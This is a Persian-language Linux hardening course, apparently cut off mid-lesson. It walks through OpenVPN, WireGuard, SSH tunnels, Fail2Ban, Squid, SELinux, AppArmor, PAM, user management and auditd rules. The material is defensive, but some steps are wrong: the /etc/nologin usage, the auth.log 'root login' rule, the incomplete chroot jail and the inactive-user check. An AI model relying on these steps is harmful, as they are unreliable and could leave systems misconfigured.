برای راه‌اندازی OpenVPN، ابتدا باید بسته‌های موردنیاز را نصب کنیم. Easy-RSA ابزاری برای مدیریت کلیدها و گواهینامه‌های امنیتی موردنیاز VPN است.

نصب OpenVPN و Easy-RSA در Debian/Ubuntu:

sudo apt update
sudo apt install openvpn easy-rsa -y

نصب OpenVPN و Easy-RSA در CentOS/RHEL:

sudo yum install -y epel-release
sudo yum install -y openvpn easy-rsa

ایجاد CA (مرجع صدور گواهینامه)

OpenVPN برای رمزنگاری ارتباطات از گواهینامه‌های TLS استفاده می‌کند. ابتدا باید یک CA برای مدیریت گواهینامه‌های سرور و کلاینت ایجاد کنیم.

  1. ایجاد یک دایرکتوری جدید برای Easy-RSA:
mkdir -p ~/openvpn-ca
cp -r /usr/share/easy-rsa/* ~/openvpn-ca/
cd ~/openvpn-ca
  1. مقداردهی اولیه Easy-RSA:
./easyrsa init-pki
  1. ایجاد CA و تنظیم کلید اصلی:
./easyrsa build-ca

پس از اجرای این دستور، از شما درخواست می‌شود که یک رمز عبور برای CA تعیین کنید و برخی اطلاعات مانند کشور، سازمان و ایمیل را وارد کنید.


ایجاد کلید و گواهینامه سرور

پس از ایجاد CA، باید کلید و گواهینامه سرور VPN را ایجاد کنیم.

./easyrsa gen-req server nopass

سپس گواهینامه را امضا می‌کنیم:

./easyrsa sign-req server server

ایجاد کلید Diffie-Hellman

کلید Diffie-Hellman برای افزایش امنیت ارتباطات استفاده می‌شود. برای تولید این کلید از دستور زیر استفاده کنید:

./easyrsa gen-dh

راه‌اندازی OpenVPN سرور

پس از ایجاد گواهینامه‌ها، باید OpenVPN را پیکربندی کنیم. فایل تنظیمات OpenVPN را در مسیر زیر ایجاد کنید:

/etc/openvpn/server.conf

و محتوای زیر را اضافه کنید:

port 1194
proto udp
dev tun
ca /etc/openvpn/ca.crt
cert /etc/openvpn/server.crt
key /etc/openvpn/server.key
dh /etc/openvpn/dh.pem
server 10.8.0.0 255.255.255.0
ifconfig-pool-persist /var/log/openvpn/ipp.txt
keepalive 10 120
cipher AES-256-CBC
persist-key
persist-tun
status /var/log/openvpn/status.log
verb 3

پس از ایجاد این فایل، OpenVPN را راه‌اندازی کنید:

sudo systemctl start openvpn@server
sudo systemctl enable openvpn@server

ایجاد کلید و گواهینامه برای کلاینت

برای هر کلاینتی که قصد اتصال به VPN را دارد، باید یک کلید و گواهینامه منحصربه‌فرد ایجاد کنیم.

  1. ایجاد کلید خصوصی کلاینت:
./easyrsa gen-req client1 nopass
  1. امضای گواهینامه کلاینت:
./easyrsa sign-req client client1
  1. انتقال فایل‌های موردنیاز به کلاینت:

فایل‌های زیر باید به دستگاه کلاینت منتقل شوند:

ca.crt
client1.crt
client1.key

پیکربندی کلاینت OpenVPN

برای اتصال به سرور، باید یک فایل پیکربندی برای کلاینت ایجاد کنیم. این فایل را در مسیر زیر ذخیره کنید:

C:\Program Files\OpenVPN\config\client.ovpn

و محتوای زیر را اضافه کنید:

client
dev tun
proto udp
remote SERVER_IP 1194
resolv-retry infinite
nobind
persist-key
persist-tun
ca ca.crt
cert client1.crt
key client1.key
cipher AES-256-CBC
verb 3

در قسمت remote SERVER_IP، آدرس IP سرور OpenVPN را وارد کنید.


تست اتصال به VPN

پس از پیکربندی، کلاینت OpenVPN را اجرا کرده و به سرور متصل شوید. با اجرای دستور زیر در سرور می‌توان لاگ‌های اتصال را مشاهده کرد:

sudo journalctl -u openvpn@server -f

جمع‌بندی

در این بخش، نحوه راه‌اندازی OpenVPN برای ایجاد یک ارتباط امن از راه دور بررسی شد. مراحل شامل نصب OpenVPN، ایجاد گواهینامه‌ها، پیکربندی سرور و کلاینت و تست اتصال بود. با اجرای این مراحل، می‌توان یک شبکه امن ایجاد کرد که ارتباطات از راه دور را رمزنگاری کند.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات امنیتی برای Tunneling و شبکه‌های خصوصی مجازی (VPN)” subtitle=”توضیحات کامل”]برای افزایش امنیت ارتباطات شبکه، استفاده از تونلینگ و VPN یکی از بهترین روش‌ها محسوب می‌شود. این فناوری‌ها ارتباطات را رمزگذاری کرده و امکان انتقال ایمن داده‌ها را فراهم می‌کنند. در این بخش، نحوه پیاده‌سازی، پیکربندی و افزایش امنیت تونلینگ و VPN را بررسی می‌کنیم.


۱. استفاده از OpenVPN برای ایجاد یک شبکه خصوصی مجازی (VPN)

نصب OpenVPN روی Debian/Ubuntu
sudo apt update && sudo apt install openvpn easy-rsa -y
ایجاد دایرکتوری برای گواهی‌های امنیتی
mkdir -p ~/openvpn-ca
cd ~/openvpn-ca
cp -r /usr/share/easy-rsa/* .
ایجاد CA (گواهی امضا شده برای VPN)
./easyrsa init-pki
./easyrsa build-ca
ایجاد کلید سرور OpenVPN
./easyrsa gen-req server nopass
./easyrsa sign-req server server
ایجاد کلاینت و امضای گواهی کلاینت
./easyrsa gen-req client1 nopass
./easyrsa sign-req client client1
پیکربندی OpenVPN در مسیر /etc/openvpn/server.conf
sudo nano /etc/openvpn/server.conf

افزودن این مقادیر:

port 1194
proto udp
dev tun
ca /etc/openvpn/ca.crt
cert /etc/openvpn/server.crt
key /etc/openvpn/server.key
dh /etc/openvpn/dh.pem
server 10.8.0.0 255.255.255.0
push "redirect-gateway def1 bypass-dhcp"
keepalive 10 120
cipher AES-256-CBC
auth SHA256
tls-auth /etc/openvpn/ta.key 0
اجرای OpenVPN و فعال‌سازی در استارتاپ سیستم
sudo systemctl start openvpn@server
sudo systemctl enable openvpn@server
افزودن قانون فایروال برای عبور ترافیک VPN
sudo ufw allow 1194/udp
sudo ufw enable

۲. ایجاد تونل SSH امن با استفاده از OpenSSH

ایجاد تونل SSH برای دسترسی امن به یک سرور از راه دور
ssh -L 8080:localhost:80 user@remote-server
  • این دستور ترافیک پورت ۸۰ سرور راه دور را از طریق پورت ۸۰۸۰ روی سیستم لوکال هدایت می‌کند.
ایجاد تونل معکوس SSH برای دسترسی به یک کلاینت از راه دور
ssh -R 9090:localhost:22 user@remote-server
  • این دستور اجازه می‌دهد که از سرور راه دور، پورت ۲۲ کلاینت را روی پورت ۹۰۹۰ مشاهده کنیم.
غیرفعال‌سازی پورت فورواردینگ برای امنیت بیشتر در /etc/ssh/sshd_config
sudo nano /etc/ssh/sshd_config

افزودن این مقادیر:

AllowTcpForwarding no
PermitTunnel no
اعمال تغییرات و راه‌اندازی مجدد سرویس SSH
sudo systemctl restart ssh

۳. تنظیمات WireGuard برای یک VPN سبک و سریع

نصب WireGuard روی Debian/Ubuntu
sudo apt install wireguard -y
ایجاد کلیدهای امنیتی سرور WireGuard
wg genkey | tee privatekey | wg pubkey > publickey
پیکربندی WireGuard در مسیر /etc/wireguard/wg0.conf
sudo nano /etc/wireguard/wg0.conf

افزودن مقادیر زیر:

[Interface]
PrivateKey = مقدار_کلید_خصوصی
Address = 10.0.0.1/24
ListenPort = 51820

[Peer]
PublicKey = مقدار_کلید_عمومی_کلاینت
AllowedIPs = 10.0.0.2/32
فعال‌سازی و راه‌اندازی WireGuard
sudo systemctl enable wg-quick@wg0
sudo systemctl start wg-quick@wg0
افزودن قانون فایروال برای WireGuard
sudo ufw allow 51820/udp

۴. افزایش امنیت VPN با Fail2Ban

نصب Fail2Ban
sudo apt install fail2ban -y
ایجاد فایل پیکربندی /etc/fail2ban/jail.local
sudo nano /etc/fail2ban/jail.local

افزودن این مقادیر برای حفاظت از OpenVPN:

[openvpn]
enabled = true
port = 1194
protocol = udp
filter = openvpn
logpath = /var/log/openvpn.log
maxretry = 5
راه‌اندازی مجدد Fail2Ban
sudo systemctl restart fail2ban

۵. مسیریابی ترافیک تونل از طریق یک سرور پراکسی امن

نصب و پیکربندی Squid Proxy برای مسیریابی ترافیک تونل VPN
sudo apt install squid -y
ویرایش فایل پیکربندی Squid در /etc/squid/squid.conf
sudo nano /etc/squid/squid.conf

افزودن این مقادیر:

http_port 3128
acl allowed_ips src 10.8.0.0/24
http_access allow allowed_ips
راه‌اندازی مجدد Squid
sudo systemctl restart squid
تنظیم کلاینت برای استفاده از پروکسی تونل
export http_proxy="http://10.8.0.1:3128"
export https_proxy="http://10.8.0.1:3128"

جمع‌بندی

✅ راه‌اندازی OpenVPN با رمزنگاری AES-256 برای امنیت بالا
✅ استفاده از SSH Tunneling برای انتقال امن داده‌ها
✅ راه‌اندازی WireGuard برای یک VPN سبک و پرسرعت
✅ افزایش امنیت تونلینگ با Fail2Ban و UFW
✅ مسیریابی ترافیک VPN از طریق Squid Proxy برای ناشناس ماندن

با اجرای این پیکربندی‌ها، ارتباطات شبکه‌ای شما ایمن خواهد بود و از شنود و حملات احتمالی محافظت می‌شود.[/cdb_course_lesson][cdb_course_lesson title=”فصل 5. سیاست‌ها و کنترل دسترسی”][/cdb_course_lesson][cdb_course_lesson title=”ایجاد سیاست‌های کنترل دسترسی بر اساس نیاز”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از SELinux و AppArmor برای سیاست‌های امنیتی سطح سیستم” subtitle=”توضیحات کامل”]امنیت سیستم‌های لینوکسی در سطح کرنل از اهمیت بالایی برخوردار است. دو مکانیزم اصلی برای اعمال سیاست‌های امنیتی در لینوکس SELinux و AppArmor هستند. این دو سیستم کنترل دسترسی پیشرفته به مدیران اجازه می‌دهند که مجوزهای سطح پایین را برای برنامه‌ها و فرایندها تعیین کنند. در این بخش، هر دو روش مورد بررسی قرار گرفته و نحوه پیکربندی آن‌ها به‌صورت گرافیکی و کامندی توضیح داده می‌شود.


SELinux: امنیت سطح سیستم با کنترل دقیق مجوزها

SELinux (Security-Enhanced Linux) یک ماژول امنیتی در کرنل لینوکس است که به کنترل دقیق سطح دسترسی برنامه‌ها و کاربران کمک می‌کند. SELinux از مدل MAC (Mandatory Access Control) استفاده می‌کند که برخلاف مدل DAC (Discretionary Access Control)، حتی کاربران با دسترسی ریشه نیز نمی‌توانند از سیاست‌های امنیتی عبور کنند.

بررسی وضعیت SELinux

برای بررسی وضعیت SELinux در سیستم، از دستور زیر استفاده کنید:

sestatus

در صورت فعال بودن، خروجی مشابه زیر خواهد بود:

SELinux status:                 enabled
SELinuxfs mount:                /sys/fs/selinux
SELinux root directory:         /etc/selinux
Current mode:                   enforcing
تغییر وضعیت SELinux

SELinux دارای سه حالت اجرایی است:

  • Enforcing: سیاست‌های امنیتی اعمال می‌شوند.
  • Permissive: سیاست‌ها ثبت می‌شوند اما اعمال نمی‌شوند.
  • Disabled: SELinux غیرفعال است.

برای تغییر حالت SELinux، فایل تنظیمات آن را ویرایش کنید:

sudo nano /etc/selinux/config

و مقدار SELINUX= را به یکی از مقادیر زیر تغییر دهید:

SELINUX=enforcing
SELINUX=permissive
SELINUX=disabled

سپس برای اعمال تغییرات، سیستم را راه‌اندازی مجدد کنید:

sudo reboot
مدیریت سیاست‌های SELinux

برای نمایش سیاست‌های اعمال‌شده، از ابزار semanage استفاده کنید:

semanage boolean -l

برای تغییر سیاست‌های امنیتی خاص، مثلاً فعال کردن دسترسی سرور وب به فایل‌های عمومی:

sudo setsebool -P httpd_read_user_content on
مدیریت کانتکست‌های امنیتی

برای بررسی کانتکست SELinux روی یک فایل:

ls -Z /var/www/html/index.html

برای تغییر کانتکست امنیتی:

sudo chcon -t httpd_sys_content_t /var/www/html/index.html
غیرفعال‌سازی موقتی SELinux

برای خاموش کردن SELinux بدون نیاز به راه‌اندازی مجدد:

sudo setenforce 0

برای فعال‌سازی مجدد:

sudo setenforce 1

AppArmor: سیاست‌های امنیتی مبتنی بر پروفایل

AppArmor یک سیستم کنترل دسترسی دیگر برای لینوکس است که بر اساس پروفایل‌های امنیتی کار می‌کند. این ابزار به مدیران اجازه می‌دهد که سطح دسترسی برنامه‌ها را محدود کرده و از اجرای کدهای مخرب جلوگیری کنند.

بررسی وضعیت AppArmor

برای بررسی وضعیت AppArmor، از دستور زیر استفاده کنید:

sudo aa-status
فعال‌سازی و غیرفعال‌سازی AppArmor

برای فعال‌سازی AppArmor، از دستور زیر استفاده کنید:

sudo systemctl enable apparmor
sudo systemctl start apparmor

برای غیرفعال کردن:

sudo systemctl stop apparmor
sudo systemctl disable apparmor
مدیریت پروفایل‌های AppArmor

برای مشاهده لیست پروفایل‌های موجود:

sudo aa-status

برای تغییر حالت یک پروفایل خاص:

sudo aa-complain /usr/bin/firefox

یا برای بازگرداندن به حالت قبلی:

sudo aa-enforce /usr/bin/firefox
ایجاد یک پروفایل جدید برای یک برنامه

برای ایجاد یک پروفایل جدید، از ابزار aa-genprof استفاده کنید:

sudo aa-genprof /usr/bin/myapp

سپس، برنامه را اجرا کنید و فعالیت‌های آن را بررسی کنید تا AppArmor مجوزهای مناسب را پیشنهاد کند.

حذف یک پروفایل AppArmor

برای حذف پروفایل امنیتی یک برنامه:

sudo rm /etc/apparmor.d/usr.bin.myapp

جمع‌بندی

SELinux و AppArmor دو سیستم کنترل دسترسی پیشرفته در لینوکس هستند که هر کدام مزایا و کاربردهای خاص خود را دارند. SELinux برای سیستم‌هایی که نیاز به کنترل دقیق و امنیت بالا دارند توصیه می‌شود، در حالی که AppArmor برای مدیریت ساده‌تر و انعطاف‌پذیری بیشتر مناسب است. در این بخش، نحوه پیکربندی و مدیریت هر دو ابزار هم به‌صورت گرافیکی و هم از طریق دستورات CLI ارائه شد تا بتوانید سطح امنیتی سیستم‌های خود را بهبود ببخشید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”تنظیمات PAM (Pluggable Authentication Modules) برای احراز هویت” subtitle=”توضیحات کامل”]PAM (Pluggable Authentication Modules) یک زیرساخت ماژولار در لینوکس است که مدیریت احراز هویت را کنترل می‌کند. این سیستم به مدیران اجازه می‌دهد که سیاست‌های امنیتی مرتبط با ورود کاربران، احراز هویت چندعاملی، قفل کردن حساب‌ها، و سایر محدودیت‌های امنیتی را سفارشی‌سازی کنند. در این بخش، نحوه پیکربندی و اعمال سیاست‌های امنیتی مختلف در PAM به‌صورت گرافیکی و کامندی بررسی می‌شود.


ساختار و نحوه عملکرد PAM

سیستم PAM از فایل‌های پیکربندی مختلفی در مسیر /etc/pam.d/ استفاده می‌کند که هر فایل مربوط به یک سرویس خاص است. این فایل‌ها شامل ماژول‌های احراز هویت هستند که ترتیب پردازش آن‌ها بر اساس قوانین مشخصی انجام می‌شود.

بررسی ماژول‌های فعال در سیستم

برای مشاهده وضعیت فعلی PAM در لینوکس، از دستور زیر استفاده کنید:

pam-auth-update --status

برای نمایش ماژول‌های فعال در یک سرویس خاص (مثلاً sshd):

cat /etc/pam.d/sshd

تنظیمات اولیه PAM

فعال‌سازی احراز هویت با رمز عبور قوی

برای اطمینان از استفاده از رمزهای عبور پیچیده، می‌توان از ماژول pam_pwquality استفاده کرد. فایل مربوط به این تنظیمات در مسیر زیر قرار دارد:

sudo nano /etc/security/pwquality.conf

پارامترهای مهمی که می‌توان در این فایل تنظیم کرد:

minlen = 12          # حداقل طول رمز عبور
dcredit = -1         # حداقل یک عدد در رمز عبور الزامی است
ucredit = -1         # حداقل یک حرف بزرگ الزامی است
lcredit = -1         # حداقل یک حرف کوچک الزامی است
ocredit = -1         # حداقل یک کاراکتر خاص الزامی است

برای اعمال این سیاست در PAM، خط زیر را به فایل /etc/pam.d/common-password اضافه کنید:

sudo nano /etc/pam.d/common-password

اضافه کردن خط زیر:

password requisite pam_pwquality.so retry=3

این تنظیم باعث می‌شود که کاربران در صورت وارد کردن رمز عبور ضعیف، تا ۳ بار فرصت تغییر آن را داشته باشند.


فعال‌سازی قفل حساب بعد از چند بار تلاش ناموفق

برای جلوگیری از حملات Brute Force، می‌توان حساب کاربری را بعد از تعداد مشخصی تلاش ناموفق قفل کرد. این تنظیمات در ماژول pam_tally2 انجام می‌شود.

ویرایش فایل مربوطه:

sudo nano /etc/pam.d/common-auth

اضافه کردن خط زیر:

auth required pam_tally2.so deny=5 unlock_time=600
  • deny=5: بعد از ۵ تلاش ناموفق، حساب قفل می‌شود.
  • unlock_time=600: حساب بعد از ۱۰ دقیقه (۶۰۰ ثانیه) باز می‌شود.

برای بررسی تعداد تلاش‌های ناموفق یک کاربر:

pam_tally2 --user=username

برای بازنشانی تعداد تلاش‌های ناموفق:

pam_tally2 --user=username --reset

تنظیمات احراز هویت دو مرحله‌ای (2FA) با PAM

یکی از راه‌های افزایش امنیت، فعال‌سازی احراز هویت دو مرحله‌ای با استفاده از Google Authenticator است. این کار با ماژول pam_google_authenticator انجام می‌شود.

نصب و راه‌اندازی Google Authenticator

نصب بسته موردنیاز:

sudo apt install libpam-google-authenticator -y

برای هر کاربر، دستور زیر را اجرا کنید:

google-authenticator

سپس یک کد QR نمایش داده می‌شود که باید با اپلیکیشن Google Authenticator اسکن شود.

پیکربندی PAM برای احراز هویت دو مرحله‌ای

ویرایش فایل /etc/pam.d/sshd:

sudo nano /etc/pam.d/sshd

اضافه کردن خط زیر:

auth required pam_google_authenticator.so

ویرایش تنظیمات SSH برای فعال‌سازی 2FA:

sudo nano /etc/ssh/sshd_config

تنظیم مقدار زیر:

ChallengeResponseAuthentication yes

سپس سرویس SSH را ریستارت کنید:

sudo systemctl restart sshd

از این پس، هنگام ورود به سیستم با SSH، علاوه بر رمز عبور، کد تولیدشده توسط Google Authenticator نیز موردنیاز خواهد بود.


جلوگیری از استفاده مجدد از رمزهای عبور قدیمی

برای جلوگیری از استفاده مجدد از رمزهای عبور قبلی، می‌توان از ماژول pam_unix استفاده کرد.

ویرایش فایل مربوطه:

sudo nano /etc/pam.d/common-password

اضافه کردن خط زیر:

password sufficient pam_unix.so remember=5

این تنظیم باعث می‌شود که کاربران نتوانند پنج رمز عبور آخر خود را مجدداً انتخاب کنند.


اعمال محدودیت زمانی برای ورود کاربران

برای محدود کردن زمان ورود کاربران، باید فایل /etc/security/time.conf را تنظیم کرد.

ویرایش فایل:

sudo nano /etc/security/time.conf

اضافه کردن تنظیم زیر (برای مسدود کردن ورود کاربران گروه students در ساعات غیرکاری):

login;*;students;!Al0900-1700

این خط مشخص می‌کند که کاربران گروه students فقط از ۹ صبح تا ۵ بعدازظهر می‌توانند وارد سیستم شوند.


جمع‌بندی

در این بخش، PAM به‌عنوان یک ابزار حیاتی برای احراز هویت و امنیت بررسی شد. سیاست‌های مختلفی از جمله رمز عبور قوی، قفل حساب بعد از تلاش ناموفق، احراز هویت دو مرحله‌ای، جلوگیری از استفاده مجدد از رمزهای قدیمی و اعمال محدودیت زمانی پیکربندی شد. تمامی این تنظیمات هم به‌صورت گرافیکی و هم از طریق دستورات CLI ارائه شد تا بتوانید امنیت سیستم خود را در بالاترین سطح ممکن نگه دارید.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”مدیریت کاربران و گروه‌ها به صورت امن و رعایت بهترین شیوه‌ها” subtitle=”توضیحات کامل”]مدیریت کاربران و گروه‌ها در لینوکس یکی از مهم‌ترین جنبه‌های امنیتی برای جلوگیری از دسترسی‌های غیرمجاز و کنترل مجوزهای کاربران است. در این بخش، بهترین شیوه‌های مدیریت کاربران و گروه‌ها، همراه با دستورات CLI و پیکربندی‌های موردنیاز بررسی می‌شود.


ایجاد و مدیریت کاربران به‌صورت امن

ایجاد کاربر جدید با محدودیت‌های امنیتی

برای ایجاد یک کاربر جدید با یک دایرکتوری خانگی اختصاصی و تعیین پوسته مناسب، از دستور زیر استفاده کنید:

sudo useradd -m -s /bin/bash username
  • -m: ایجاد دایرکتوری خانگی (/home/username)
  • -s /bin/bash: تعیین پوسته (/bin/bash)
تنظیم رمز عبور قوی برای کاربر

بعد از ایجاد کاربر، رمز عبور او را تنظیم کنید:

sudo passwd username

برای اجبار کاربران به تغییر رمز عبور در اولین ورود:

sudo passwd --expire username
تعیین تاریخ انقضای رمز عبور

برای اعمال سیاست‌های امنیتی روی رمز عبور کاربر، می‌توان تاریخ انقضای آن را تعیین کرد:

sudo chage -M 90 -m 7 -W 14 username
  • -M 90: رمز عبور بعد از ۹۰ روز منقضی می‌شود.
  • -m 7: حداقل فاصله بین تغییر رمز عبور ۷ روز است.
  • -W 14: کاربر ۱۴ روز قبل از انقضا هشدار دریافت می‌کند.

برای بررسی تنظیمات رمز عبور یک کاربر:

sudo chage -l username

مدیریت گروه‌ها و مجوزهای کاربران

ایجاد گروه‌های خاص و اضافه کردن کاربران

برای سازمان‌دهی بهتر، کاربران را به گروه‌های خاص اضافه کنید.

ایجاد یک گروه جدید:

sudo groupadd developers

اضافه کردن یک کاربر به گروه:

sudo usermod -aG developers username

برای مشاهده گروه‌هایی که یک کاربر عضو آن‌هاست:

groups username

یا

id username
تغییر گروه اولیه یک کاربر

اگر بخواهید گروه اصلی یک کاربر را تغییر دهید:

sudo usermod -g developers username
حذف یک کاربر از یک گروه
sudo deluser username developers

کنترل دسترسی کاربران به فایل‌ها و دایرکتوری‌ها

تعیین مالکیت و سطح دسترسی

تغییر مالک یک فایل یا دایرکتوری:

sudo chown username:groupname file_or_directory

تغییر سطح دسترسی (مثلاً فقط مالک اجازه نوشتن داشته باشد):

sudo chmod 750 file_or_directory
  • 7: مالک خواندن، نوشتن، اجرا دارد.
  • 5: گروه فقط خواندن و اجرا دارد.
  • 0: دیگران هیچ دسترسی‌ای ندارند.
تنظیم مجوزهای پیش‌فرض با umask

برای اطمینان از این‌که فایل‌های جدید سطح دسترسی مناسبی دارند، مقدار umask را بررسی کنید:

umask

برای تغییر مقدار پیش‌فرض (مثلاً ۷۷۷ – ۰۲۷ = ۷۵۰):

sudo nano /etc/profile

افزودن خط زیر:

umask 027

مدیریت حساب‌های غیرفعال و کاربران غیرضروری

غیرفعال کردن حساب کاربری بدون حذف آن
sudo usermod --expiredate 1 username
قفل کردن حساب کاربری
sudo passwd -l username

برای باز کردن قفل:

sudo passwd -u username
حذف کاربران غیرضروری از سیستم

برای حذف کاربری و دایرکتوری خانگی او:

sudo userdel -r username

برای حذف گروهی از کاربران غیرفعال:

sudo find /home -type d -ctime +180 -exec echo "Inactive User: {}" \;

(کاربران غیرفعال در ۱۸۰ روز گذشته نمایش داده می‌شوند)


اعمال محدودیت‌های امنیتی برای کاربران

جلوگیری از ورود کاربران خاص

برای جلوگیری از ورود یک کاربر خاص، نام او را در فایل /etc/nologin اضافه کنید:

echo "username" | sudo tee -a /etc/nologin
محدود کردن کاربران به یک محیط خاص با chroot

برای محدود کردن دسترسی کاربران به بخشی از سیستم فایل، می‌توان از chroot jail استفاده کرد:

sudo mkdir -p /home/jail/{bin,lib}

کپی فایل‌های ضروری:

sudo cp /bin/bash /home/jail/bin/

اضافه کردن یک کاربر به محیط محدود:

sudo usermod -d /home/jail username

جمع‌بندی

در این بخش، مدیریت امن کاربران و گروه‌ها با رعایت بهترین شیوه‌ها بررسی شد. مواردی مانند ایجاد و مدیریت کاربران، تنظیم سیاست‌های رمز عبور، مدیریت گروه‌ها، کنترل سطح دسترسی، حذف کاربران غیرضروری و اعمال محدودیت‌های امنیتی به همراه دستورات CLI ارائه شد. با رعایت این اصول، می‌توان امنیت کاربران و دسترسی‌های آن‌ها را به‌صورت بهینه مدیریت کرد.[/cdb_course_lesson][cdb_course_lesson title=”Auditing و پیگیری فعالیت‌های کاربران”][/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”پیکربندی auditd برای ردیابی فعالیت‌های سیستم” subtitle=”توضیحات کامل”]auditd یک ابزار قدرتمند برای نظارت بر فعالیت‌های سیستم و ثبت رخدادهای امنیتی در لینوکس است. این سرویس برای بررسی تغییرات فایل‌ها، دسترسی‌های کاربران، تغییرات سطح دسترسی، اجرای دستورات حساس و نظارت بر رویدادهای مشکوک استفاده می‌شود. در این بخش، نحوه نصب، پیکربندی و استفاده از auditd همراه با دستورات CLI و مسیرهای فایل‌های مرتبط بررسی خواهد شد.


نصب و فعال‌سازی auditd

نصب auditd در سیستم

در توزیع‌های Debian/Ubuntu:

sudo apt update && sudo apt install auditd audispd-plugins -y

در توزیع‌های RHEL/CentOS:

sudo yum install audit -y
فعال‌سازی و اطمینان از اجرای سرویس
sudo systemctl enable --now auditd

بررسی وضعیت سرویس:

sudo systemctl status auditd

پیکربندی auditd در فایل تنظیمات

مسیر فایل تنظیمات اصلی

تمامی تنظیمات auditd در مسیر زیر قرار دارد:

/etc/audit/auditd.conf

برای ویرایش:

sudo nano /etc/audit/auditd.conf
تغییر مسیر ذخیره لاگ‌ها

به‌صورت پیش‌فرض، لاگ‌های auditd در مسیر زیر ذخیره می‌شوند:

/var/log/audit/audit.log

در صورت نیاز به تغییر مسیر ذخیره لاگ‌ها، مقدار log_file را ویرایش کنید:

log_file = /var/log/audit/custom_audit.log
تعیین حداکثر حجم لاگ‌ها و چرخش خودکار

برای جلوگیری از پر شدن فضای ذخیره‌سازی، پارامترهای زیر را تنظیم کنید:

max_log_file = 100
num_logs = 5
  • max_log_file: حداکثر اندازه هر فایل لاگ (بر حسب مگابایت)
  • num_logs: تعداد نسخه‌های لاگ قبل از حذف قدیمی‌ترین

تنظیم قوانین نظارت با auditctl

مشاهده قوانین فعال

برای بررسی قوانین نظارت فعال:

sudo auditctl -l
ثبت تغییرات فایل‌های حساس

برای ثبت تغییرات در /etc/passwd (فایل کاربران سیستم):

sudo auditctl -w /etc/passwd -p wa -k passwd_changes
  • -w /etc/passwd: نظارت روی فایل
  • -p wa: نظارت بر نوشتن (write) و تغییر ویژگی‌ها (attribute change)
  • -k passwd_changes: اضافه کردن برچسب مشخص برای فیلتر کردن لاگ‌ها
ثبت اجرای یک دستور خاص

برای ثبت اجرای دستور su:

sudo auditctl -a always,exit -F arch=b64 -S execve -F exe=/usr/bin/su -k su_execution
نظارت بر تغییر سطح دسترسی فایل‌ها

برای ثبت تغییرات سطح دسترسی روی یک فایل یا دایرکتوری:

sudo auditctl -w /var/www/html -p rwa -k web_changes
ثبت ورود کاربران روت

برای ثبت ورود کاربران با دسترسی روت:

sudo auditctl -w /var/log/auth.log -p wa -k root_logins

ذخیره قوانین auditd به‌صورت دائمی

مسیر فایل پیکربندی قوانین

تمامی قوانین نظارت باید در مسیر زیر اضافه شوند:

/etc/audit/rules.d/audit.rules

برای ویرایش و اضافه کردن قوانین نظارت:

sudo nano /etc/audit/rules.d/audit.rules

اضافه کردن قوانین زیر به فایل:

# نظارت بر تغییرات فایل passwd
-w /etc/passwd -p wa -k passwd_changes

# نظارت بر اجرای دستور su
-a always,exit -F arch=b64 -S execve -F exe=/usr/bin/su -k su_execution

# نظارت بر تغییرات سطح دسترسی فایل‌های وب‌سرور
-w /var/www/html -p rwa -k web_changes

# ثبت ورودهای روت
-w /var/log/auth.log -p wa -k root_logins

پس از ذخیره فایل، سرویس auditd را مجدداً راه‌اندازی کنید:

sudo systemctl restart auditd

بررسی و جستجوی لاگ‌های auditd

مشاهده لاگ‌های ثبت‌شده

برای مشاهده تمام لاگ‌های ذخیره‌شده:

sudo ausearch -k passwd_changes

برای نمایش لاگ‌های مرتبط با اجرای su:

sudo ausearch -k su_execution
بررسی تغییرات یک فایل خاص
sudo aureport -f | grep /etc/passwd
نمایش لاگ‌های ورود کاربران
sudo aureport -l
مشاهده لاگ‌های مربوط به یک بازه زمانی خاص

مثلاً نمایش لاگ‌های ثبت‌شده در ۲۴ ساعت گذشته:

sudo ausearch --start today

جمع‌بندی

در این بخش، پیکربندی auditd برای نظارت بر فعالیت‌های سیستم مورد بررسی قرار گرفت. تنظیمات شامل نصب و فعال‌سازی، تعیین مسیر ذخیره لاگ‌ها، پیکربندی قوانین نظارت، ثبت تغییرات فایل‌های حساس، نظارت بر اجرای دستورات خاص، ثبت ورود کاربران و بررسی لاگ‌های سیستم بود. با اجرای این تنظیمات، می‌توان نظارت دقیقی بر فعالیت‌های مشکوک و تغییرات امنیتی داشت.[/cdb_course_lesson][cdb_course_lesson icon=”fas fa-arrow-alt-circle-down” badge=”lecture” private_lesson=”true” title=”استفاده از ابزارهایی مانند auditctl و ausearch برای بررسی و تحلیل رویدادها” subtitle=”توضیحات کامل”]در سیستم‌عامل‌های لینوکسی، برای نظارت و بررسی رویدادهای امنیتی و تغییرات در سیستم، ابزارهایی مانند auditctl و ausearch بسیار مفید هستند. این ابزارها بخشی از بسته‌ی auditd هستند که به منظور ضبط و مدیریت رویدادهای سیستم مورد استفاده قرار می‌گیرند. در این قسمت، به بررسی این ابزارها و نحوه استفاده از آن‌ها خواهیم پرداخت.

1. نصب و راه‌اندازی auditd

قبل از استفاده از ابزارهای auditctl و ausearch، باید سرویس auditd را نصب و راه‌اندازی کنید. برای نصب این ابزارها، می‌توانید از دستورات زیر استفاده کنید:

نصب auditd

برای نصب ابزارهای مورد نیاز از جمله auditd در سیستم‌های مبتنی بر دیستروهای مختلف لینوکس، از دستور زیر استفاده کنید:

sudo apt-get install auditd audispd-plugins

برای سیستم‌های مبتنی بر RHEL/CentOS:

sudo yum install audit

پس از نصب، سرویس auditd را با دستور زیر راه‌اندازی کنید:

sudo systemctl start auditd
sudo systemctl enable auditd

2. استفاده از auditctl برای پیکربندی قوانین

ابزار auditctl برای پیکربندی و مدیریت قوانین مربوط به نظارت بر رویدادها در سیستم استفاده می‌شود. با استفاده از این ابزار می‌توانید تصمیم بگیرید که کدام رویدادها و فعالیت‌ها باید ثبت شوند.

مثال 1: ثبت ورود کاربران

برای ثبت تمام تلاش‌های ورود به سیستم، می‌توانید یک قانون ساده اضافه کنید:

sudo auditctl -w /var/log/auth.log -p wa -k login-events

در این دستور:

  • -w /var/log/auth.log مسیر فایل لاگ را مشخص می‌کند.
